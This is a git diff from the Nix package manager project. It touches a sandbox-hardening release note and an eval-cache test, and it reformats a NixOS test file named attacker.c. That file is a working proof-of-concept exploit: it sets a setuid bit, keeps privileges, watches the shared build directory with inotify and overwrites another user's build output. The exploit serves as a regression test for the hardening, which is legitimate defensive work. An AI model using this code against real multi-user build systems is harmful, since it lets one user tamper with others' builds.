diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md index fa3c49fc0..fe0de3734 100644 --- a/doc/manual/rl-next/harden-user-sandboxing.md +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -1,8 +1,6 @@ --- synopsis: Harden the user sandboxing significance: significant -issues: -prs: --- The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 22d7f188f..f87735408 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -79,7 +79,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS if (drvs.empty()) return {}; if (isIFD && !evalSettings.enableImportFromDerivation) - error( + error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", drvs.begin()->to_string(*store) ).debugThrow(); diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh index 0f8df1b91..d581a8dbd 100755 --- a/tests/functional/flakes/eval-cache.sh +++ b/tests/functional/flakes/eval-cache.sh @@ -7,12 +7,22 @@ requireGit flake1Dir="$TEST_ROOT/eval-cache-flake" createGitRepo "$flake1Dir" "" +cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/" +git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix +git -C "$flake1Dir" commit -m "config.nix" cat >"$flake1Dir/flake.nix" < \$out + ''; + }; + ifd = assert (import self.drv); self.drv; }; } EOF @@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init" expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' + +# Conditional error should not be cached +expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \ + | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled' +nix build "$flake1Dir#ifd" diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c index 3bd729c04..3377a5fd0 100644 --- a/tests/nixos/user-sandboxing/attacker.c +++ b/tests/nixos/user-sandboxing/attacker.c @@ -9,74 +9,74 @@ #define SYS_fchmodat2 452 -int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { - return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags) +{ + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); } -int main(int argc, char **argv) { - if (argc <= 1) { - // stage 1: place the setuid-builder executable +int main(int argc, char ** argv) +{ + if (argc <= 1) { + // stage 1: place the setuid-builder executable - // make the build directory world-accessible first - chmod(".", 0755); + // make the build directory world-accessible first + chmod(".", 0755); - if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { - perror("Setting the suid bit on attacker"); - exit(-1); - } - - } else { - // stage 2: corrupt the victim derivation while it's building - - // prevent the kill - if (setresuid(-1, -1, getuid())) { - perror("setresuid"); - exit(-1); - } - - if (fork() == 0) { - - // wait for the victim to build - int fd = inotify_init(); - inotify_add_watch(fd, argv[1], IN_CREATE); - int dirfd = open(argv[1], O_DIRECTORY); - if (dirfd < 0) { - perror("opening the global build directory"); - exit(-1); - } - char buf[4096]; - fprintf(stderr, "Entering the inotify loop\n"); - for (;;) { - ssize_t len = read(fd, buf, sizeof(buf)); - struct inotify_event *ev; - for (char *pe = buf; pe < buf + len; - pe += sizeof(struct inotify_event) + ev->len) { - ev = (struct inotify_event *)pe; - fprintf(stderr, "folder %s created\n", ev->name); - // wait a bit to prevent racing against the creation - sleep(1); - int builddir = openat(dirfd, ev->name, O_DIRECTORY); - if (builddir < 0) { - perror("opening the build directory"); - continue; - } - int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); - if (resultfile < 0) { - perror("opening the hijacked file"); - continue; - } - int writeres = write(resultfile, "bad\n", 4); - if (writeres < 0) { - perror("writing to the hijacked file"); - continue; - } - fprintf(stderr, "Hijacked the build for %s\n", ev->name); - return 0; + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); } - } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event * ev; + for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *) pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); } - - exit(0); - } } -